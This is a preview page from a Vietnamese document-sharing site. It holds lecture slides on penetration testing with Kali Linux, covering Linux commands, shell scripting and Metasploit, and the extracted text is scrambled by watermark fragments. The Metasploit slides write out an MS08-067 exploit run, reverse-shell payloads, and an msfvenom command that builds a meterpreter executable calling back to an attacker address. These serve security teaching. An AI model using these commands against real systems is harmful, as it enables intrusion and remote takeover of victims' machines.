1. Trang chủ
  2. » Cao đẳng - Đại học

Slide kiểm thử xâm nhập sử dụng kali linux

50 21 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Nội dung

.c om cu u du o ng th an co ng SỬ DỤNG KALI LINUX CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om Nội dung  Các lệnh Linux co ng  Lập trình shell script cu u du o ng th an  Sử dụng Metasploit CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om cu u du o ng th an co ng Các lệnh Linux CuuDuongThanCong.com https://fb.com/tailieudientucntt u du o ng th an co ng Chức Trợ giúp Liệt kệ nội dung thư mục Chuyển thư mục làm việc hành Xem đường dẫn thư mục hành Tạo thư mực Xóa file thư mục Copy file/thư mục Di chuyền file/thư mục Tạo file cu Tên lệnh man ls cd pwd mkdir rm cp mv touch c om Các lệnh CuuDuongThanCong.com https://fb.com/tailieudientucntt ng th an co ng Tạo user Gán quyền cho file/thư mục Trình soạn thảo VI Lệnh tìm kiếm Lọc liệu Xem ip address Xem bảng định tuyến du o u cu useradd Chmod vi grep awk ifconfig route echo netstat crontab c om User network connections, listening ports Lập lịch CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om ng Lập trình Linux cu u du o ng th an co Shell –Script Python CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om a Giới thiệu ng Shell Script Là chương trình bao gồm chuỗi lệnh nhằm thực co nhiệm vụ, chức th an Các loại shell thông dụng Unix/Linux: du o ng - sh (Shell Bourne): - Csh, tcsh zsh: cu u - bash (Bourne Again Shell): CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om a) Giới thiệu (tt) Cách viết shell script: co ng • Dùng lệnh vi/gedit để viết shell an  Nên dùng gedit để viết shell thể màu sắc dể kiểm sốt lỗi ng th • Thực thi script: du o • Gán quyền thực thi cho script cu • Thực thi u • #chmod a+x ten_script • #./ten script CuuDuongThanCong.com https://fb.com/tailieudientucntt ng c om b) Cấu trúc chương trình shell script Loại shell mà script chạy command … Lệnh th ng du o cu exit Thốt khơng có error u command … an co #!/bin/bash CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om c) Biến shell Trong linux shell có kiểu biến: Biến hệ thống (system variable): tạo Linux Kiểu biến thường viết ký tự in hoa • Biến người dùng định nghĩa co ng • an Cú pháp: tên biến=giá trị th Một số quy định biến shell : ng (1) Tên bắt đầu ký tự dấu gạch chân (_) du o (2) Khơng có khoảng trắng trước sau dấu gán giá trị cho biến (3) Biến có phân biệt chữ hoa chữ thường var01= var01=”” cu u (4) Bạn khai báo biến có giá trị NULL sau : (5) Không dùng ?, * để đặt tên biến CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om MS08_067 ng  Xem thông tin module co msf> info exploit /windows/smb/ms08_067_netapi th an  Sử dụng module ms08_067 cu u du o ng msf> use exploit /windows/smb/ms08_067_netapi CuuDuongThanCong.com https://fb.com/tailieudientucntt cu u du o ng th an co ng  Setting module options (show options) c om MS08_067 CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om MS08_067 ng set co  RHOST: refers to the remote host we want to exploit th an set RHOST 192.168.20.10 du o ng  RPORT: refers to the remote port to attack (default 445) u  SMBPIPE: SMB pipes allow us to talk to Windows interprocess cu communication over a network (default: BROWSER) CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om MS08_067  Exploit Target: Choose Automatic Targeting to tell Metasploit to co ng fingerprint the SMB service and choose the appropriate target based on the th an results cu u du o ng msf>show targets CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om Payloads (or shellcode)  A payload: đoạn code sử dụng exploit co ng  Khi payload thích hợp chọn, metasploit sử dụng code để cu show payoads u  Xem payload du o ng xâm nhập thành công th an khai thác điểm yếu hệ thống sau dụng payload để chạy sau CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om ng co an th ng du o u cu CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om Các loại shell  Bind Shells: máy mục tiêu (target machine) mở command shell co ng lắng nghe port Máy Attacker kêt nối với máy mục tiêu thông th an qua port ng  Reverse Shells: Máy mục tiêu chủ động kết nối đến máy Attacker cu u du o Máy Attacker mở local port đợi kết nối từ máy mục tiêu CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om setting a Payload manually ng msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp cu u du o ng th an co msf exploit(ms08_067_netapi) > show options CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om ng co an th ng du o u cu CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om ng co an th ng du o u cu CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om b msfvemon Msfvenom: bao gồm Msfpayload Msfencode co ng Được sử dụng để tạo standalone payload th an #msfvenom -l payloads ng Sử dụng options: du o –p để chọn payload cu u payload-options: xem options payload #msfvenom -p windows/meterpreter/reverse_tcp payload-options CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om msfvemon ng  Xem định dạng xuất payload: co #msfvenom help-formats -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 u #msfvenom du o ng port 12345 với định dạng exe th an Tạo payload thực kết nối đến Server Attacker có ip 192.168.20.9 với cu LPORT=12345 -f exe > chapter4example.exe CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om Using the Multi/Handler Module  Thiết lập handlers để bắt kết nối từ máy mục tiêu Windows thực co ng thi payload đọc hại Attacker (chapter4example.exe) th an msf > use multi/handler du o ng msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp u msf exploit(handler) > show options cu msf exploit(handler) > set LHOST 192.168.20.9 CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om Using the Multi/Handler Module ng LHOST => 192.168.20.9 co msf exploit(handler) > set LPORT 12345 cu u du o ng msf exploit(handler) > exploit th an LPORT => 12345 CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om Auxiliary module co msf > use scanner/smb/pipe_auditor ng  auxiliary modules sử dụng để scanning, fuzzing, sniffing, … th an msf auxiliary(pipe_auditor) > show options du o ng msf auxiliary(pipe_auditor) > set RHOSTS 192.168.20.10 cu u RHOSTS => 192.168.20.10 CuuDuongThanCong.com https://fb.com/tailieudientucntt ... th an  Chứa phần mềm phục vụ cho việc kiểm thử xâm nhập hệ thống CuuDuongThanCong.com https://fb.com/tailieudientucntt .c om Sử dụng Metasploit co root @kali: ~# service postgresql start ng  Khởi... đoạn code sử dụng exploit co ng  Khi payload thích hợp chọn, metasploit sử dụng code để cu show payoads u  Xem payload du o ng xâm nhập thành công th an khai thác điểm yếu hệ thống sau dụng payload... Shell • Sử dụng expr CuuDuongThanCong.com https://fb.com/tailieudientucntt ng co an th ng cu u du o Tính tốn Shell (tt)  Sử dụng let Ví dụ : let “z=$z+3” let “z += 3” let “z=$m*$n”  Sử dụng $((

Ngày đăng: 18/09/2021, 17:09

TỪ KHÓA LIÊN QUAN

w